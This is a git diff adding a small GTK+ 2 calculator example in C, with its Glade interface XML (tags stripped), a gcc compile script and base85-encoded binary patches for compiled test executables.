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 Jn~c(4{|8-aQt|)* literal 0 HcmV?d00001 diff --git a/c/glade-examples/delete/calc/test.c b/c/glade-examples/delete/calc/test.c new file mode 100755 index 0000000..aeca088 --- /dev/null +++ b/c/glade-examples/delete/calc/test.c @@ -0,0 +1,131 @@ +/* +First run tutorial.glade through gtk-builder-convert with this command: + gtk-builder-convert tutorial.glade tutorial.xml + +Then save this file as main.c and compile it using this command +(those are backticks, not single quotes): + gcc -Wall -g -o tutorial main.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic + +Then execute it using: + ./tutorial +*/ + +#include +#include +#include +#include +#include + +GtkBuilder *builder; +GtkWidget *window, *entry_a, *entry_b, *entry_calc, *entry_mem, *label_op; +char tempbuf[128], *ptempchar, nextop; +int calculated; + +void on_button_no_clicked(GtkWidget *widget, gpointer user_data) { + gtk_entry_append_text(entry_calc, gtk_button_get_label(widget)); +} + +void calculate() { + double a, b, e; + if(calculated) return; + gtk_entry_set_text(entry_b, gtk_entry_get_text(entry_calc)); + gtk_entry_set_text(entry_calc, ""); + + a = strtod(gtk_entry_get_text(entry_a), NULL); + b = strtod(gtk_entry_get_text(entry_b), NULL); + + switch(nextop) { + case '+': e = a + b; break; + case '-': e = a - b; break; + case '*': e = a * b; break; + case '/': e = a / b; break; + case '^': e = pow(a, b); break; + case 'S': e = a + b; break; + } + sprintf(tempbuf, "%lf", e); + //printf("%f %c %f = %f\n", a, nextop, b, e); + gtk_entry_set_text(entry_calc, tempbuf); + calculated = 1; +} + +void on_button_op_clicked(GtkWidget *widget, gpointer user_data) { + char *oplbl = gtk_button_get_label(widget); + + switch(oplbl[0]) { + case '+': case '-': case '*': case '/': case '^': case 'S': + if(!calculated) calculate(); + gtk_entry_set_text(entry_a, gtk_entry_get_text(entry_calc)); + gtk_entry_set_text(entry_calc, ""); + gtk_entry_set_text(entry_b, ""); + gtk_label_set_label(label_op, oplbl); + nextop = oplbl[0]; + calculated = 0; + break; + + case '=': + if(!calculated) calculate(); + gtk_entry_set_text(entry_calc, gtk_entry_get_text(entry_calc)); + calculated = 1; + break; + } +} + +void on_button_mem_clicked(GtkWidget *widget, gpointer user_data) { + char *oplbl = gtk_button_get_label(widget); + double e = 0, m = 0; + e = strtod(gtk_entry_get_text(entry_calc), NULL); + m = strtod(gtk_entry_get_text(entry_mem), NULL); + switch(oplbl[0]) { + case '+': m += e; break; + case '-': m -= e; break; + case 'C': m = 0; break; + } + sprintf(tempbuf, "%lf", m); + gtk_entry_set_text(entry_mem, tempbuf); + +} + +void on_button_clear_clicked() { + /*ptempchar = gtk_entry_get_text(entry_calc); + ptempchar[strlen(ptempchar)-1] = '\x00'; + gtk_entry_set_text(entry_calc, ptempchar);*/ + gtk_entry_append_text(entry_calc, "\r"); +} + +void reset() { + calculated = 1; + gtk_label_set_label(label_op, "?"); + gtk_entry_set_text(entry_calc, ""); + gtk_entry_set_text(entry_a, ""); + gtk_entry_set_text(entry_b, ""); +} + +void on_window_destroy (GtkObject *object, gpointer user_data) +{ + gtk_main_quit (); +} + +int main (int argc, char *argv[]) +{ + gtk_init (&argc, &argv); + + builder = gtk_builder_new (); + gtk_builder_add_from_file (builder, "calc.xml", NULL); + window = GTK_WIDGET (gtk_builder_get_object (builder, "window")); + + entry_a = GTK_WIDGET (gtk_builder_get_object (builder, "entry_a")); + entry_b = GTK_WIDGET (gtk_builder_get_object (builder, "entry_b")); + entry_calc = GTK_WIDGET (gtk_builder_get_object (builder, "entry_calc")); + entry_mem = GTK_WIDGET (gtk_builder_get_object (builder, "entry_mem")); + label_op = GTK_WIDGET (gtk_builder_get_object (builder, "label_op")); + + gtk_builder_connect_signals (builder, NULL); + g_object_unref (G_OBJECT (builder)); + + reset(); + gtk_widget_show (window); + gtk_main (); + + return 0; +} + diff --git a/c/glade-examples/delete/calc/test.xml b/c/glade-examples/delete/calc/test.xml new file mode 100755 index 0000000..29749c1 --- /dev/null +++ b/c/glade-examples/delete/calc/test.xml @@ -0,0 +1,438 @@ + + + + + True + + + + True + + + True + + + True + + + True + True + + + + + True + ? + + + 1 + + + + + True + True + + + 2 + + + + + True + = + + + 3 + + + + + + + True + True + + + 1 + + + + + + + True + + + True + MEM: + + + + + True + True + True + + + 0 + + + + 1 + + + + + True + True + True + - + 0 + + + + 2 + + + + + True + True + True + C + 0 + + + + 3 + + + + + True + True + 0 + + + 4 + + + + + 1 + + + + + True + 4 + 5 + + + True + True + True + / + 0 + + + + 1 + 2 + 3 + 4 + + + + + True + True + True + * + 0 + + + + 1 + 2 + 2 + 3 + + + + + True + True + True + - + 0 + + + + 1 + 2 + 1 + 2 + + + + + True + True + True + + + 0 + + + + 1 + 2 + + + + + True + True + True + SQRT + 0 + + + + 3 + 4 + + + + + True + True + True + ^ + 0 + + + + 2 + 3 + + + + + True + True + True + RST + 0 + + + + 1 + 2 + + + + + True + True + True + C + 0 + + + + + + True + True + True + . + 0 + + + + 3 + 4 + 3 + 4 + + + + + True + True + True + 0 + 0 + + + + 2 + 3 + 3 + 4 + + + + + True + True + True + 3 + 0 + + + + 4 + 5 + 2 + 3 + + + + + True + True + True + 2 + 0 + + + + 3 + 4 + 2 + 3 + + + + + True + True + True + 1 + 0 + + + + 2 + 3 + 2 + 3 + + + + + True + True + True + 6 + 0 + + + + 4 + 5 + 1 + 2 + + + + + True + True + True + 5 + 0 + + + + 3 + 4 + 1 + 2 + + + + + True + True + True + 4 + 0 + + + + 2 + 3 + 1 + 2 + + + + + True + True + True + 9 + 0 + + + + 4 + 5 + + + + + True + True + True + 8 + 0 + + + + 3 + 4 + + + + + True + True + True + 7 + 0 + + + + 2 + 3 + + + + + True + True + True + = + 0 + + + + 4 + 5 + 3 + 4 + + + + + 2 + + + + + + diff --git a/c/glade-examples/delete/test/compile.sh b/c/glade-examples/delete/test/compile.sh new file mode 100755 index 0000000..97672d4 --- /dev/null +++ b/c/glade-examples/delete/test/compile.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -Wall -g -o test test.c `pkg-config --cflags --libs gtk+-2.0` -export-dynamic diff --git a/c/glade-examples/delete/test/test b/c/glade-examples/delete/test/test new file mode 100755 index 0000000000000000000000000000000000000000..20d699bc865b15ee0da40190a86edc41ca157a52 GIT binary patch literal 14582 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 